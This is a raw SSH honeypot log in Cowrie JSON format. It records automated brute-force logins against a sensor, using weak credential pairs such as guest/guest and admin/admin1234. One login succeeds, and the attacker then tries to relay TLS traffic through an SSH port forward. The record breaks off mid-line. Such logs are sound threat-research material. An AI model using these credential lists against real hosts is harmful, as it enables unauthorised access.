{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:45.242243Z","src_ip":"45.153.34.195","session":"33155f2b18eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:45.703346Z","src_ip":"45.153.34.195","session":"33155f2b18eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:46.786533Z","src_ip":"45.153.34.195","session":"33155f2b18eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39780,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac987c62992d","protocol":"ssh","message":"New connection: 91.92.40.36:39780 (159.203.135.109:22) [session: ac987c62992d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:47.555923Z"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:47.784491Z","src_ip":"91.92.40.36","session":"340b1645ce1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20582,"dst_ip":"10.17.0.5","dst_port":22,"session":"fad0a2e98f2c","protocol":"ssh","message":"New connection: 45.153.34.195:20582 (10.17.0.5:22) [session: fad0a2e98f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:48.102972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:48.119226Z","src_ip":"45.153.34.195","session":"fad0a2e98f2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:48.202534Z","src_ip":"45.153.34.195","session":"fad0a2e98f2c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:48.617641Z","src_ip":"91.92.40.36","session":"ac987c62992d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:48.622767Z","src_ip":"91.92.40.36","session":"ac987c62992d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx3edc","message":"login attempt [ubuntu/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:48.629874Z","src_ip":"91.92.40.36","session":"745381855cbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"chris","message":"login attempt [aaa/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:48.787912Z","src_ip":"45.153.34.195","session":"fad0a2e98f2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer123","message":"login attempt [ubuntu/developer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:49.020448Z","src_ip":"91.92.40.36","session":"6e2afa5bc4cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:49.871872Z","src_ip":"45.153.34.195","session":"fad0a2e98f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:50.991868Z","src_ip":"91.92.40.36","session":"745381855cbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20594,"dst_ip":"10.17.0.5","dst_port":22,"session":"477609719898","protocol":"ssh","message":"New connection: 45.153.34.195:20594 (10.17.0.5:22) [session: 477609719898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:51.145036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:51.149782Z","src_ip":"45.153.34.195","session":"477609719898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:51.237076Z","src_ip":"45.153.34.195","session":"477609719898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1234","message":"login attempt [server/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:51.504021Z","src_ip":"45.153.34.195","session":"477609719898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39822,"dst_ip":"159.203.135.109","dst_port":22,"session":"801bf21b81ae","protocol":"ssh","message":"New connection: 91.92.40.36:39822 (159.203.135.109:22) [session: 801bf21b81ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:52.168826Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:52.587754Z","src_ip":"45.153.34.195","session":"477609719898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.7","message":"Connection lost after 20.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:52.720511Z","src_ip":"91.92.40.36","session":"6e2afa5bc4cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49940,"dst_ip":"10.17.0.5","dst_port":22,"session":"74df04b3a5b8","protocol":"ssh","message":"New connection: 123.27.168.40:49940 (10.17.0.5:22) [session: 74df04b3a5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:53.097691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:53.102087Z","src_ip":"123.27.168.40","session":"74df04b3a5b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:53.350469Z","src_ip":"123.27.168.40","session":"74df04b3a5b8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:53.646472Z","src_ip":"91.92.40.36","session":"801bf21b81ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:53.649621Z","src_ip":"91.92.40.36","session":"801bf21b81ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23932,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcb0cdab9b97","protocol":"ssh","message":"New connection: 45.153.34.195:23932 (10.17.0.5:22) [session: dcb0cdab9b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:54.219198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:54.223799Z","src_ip":"45.153.34.195","session":"dcb0cdab9b97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:54.322417Z","src_ip":"45.153.34.195","session":"dcb0cdab9b97","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:54.403272Z","src_ip":"123.27.168.40","session":"74df04b3a5b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:54.607165Z","src_ip":"45.153.34.195","session":"dcb0cdab9b97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"123qwerty","message":"login attempt [backup/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:54.891586Z","src_ip":"91.92.40.36","session":"ac987c62992d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:54.948899Z","session":"74df04b3a5b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:55.194678Z","src_ip":"123.27.168.40","session":"74df04b3a5b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x041S1\\xbcJ\\x88\\xfb\\xae<\\x875\\x18\\xceI\\xc3\\x9a\\x04;\\x95\\x82\\xab\\xf9\\xf3r\\xdemB\\xa9H\\xe7x \\x8d\\x87L\\xfeD\\xaf\\x08\\xb1%\\x91,X\\xce3C@>\\xc8{\\t6h\\xf534\\xd8%\\x1f\\xf6Xt\\xa1\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 +\\x0e\\x0e\\x02\\x9a\\x81$}\\xf1\\x84\\xbc\\xb7l\\r\\xda}\\x8f\\xd5d\\x87ezJ\\xd1\\xd0\\x1a\\x8f\\xce\\xc7`YI\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x041S1\\xbcJ\\x88\\xfb\\xae<\\x875\\x18\\xceI\\xc3\\x9a\\x04;\\x95\\x82\\xab\\xf9\\xf3r\\xdemB\\xa9H\\xe7x \\x8d\\x87L\\xfeD\\xaf\\x08\\xb1%\\x91,X\\xce3C@>\\xc8{\\t6h\\xf534\\xd8%\\x1f\\xf6Xt\\xa1\\x00 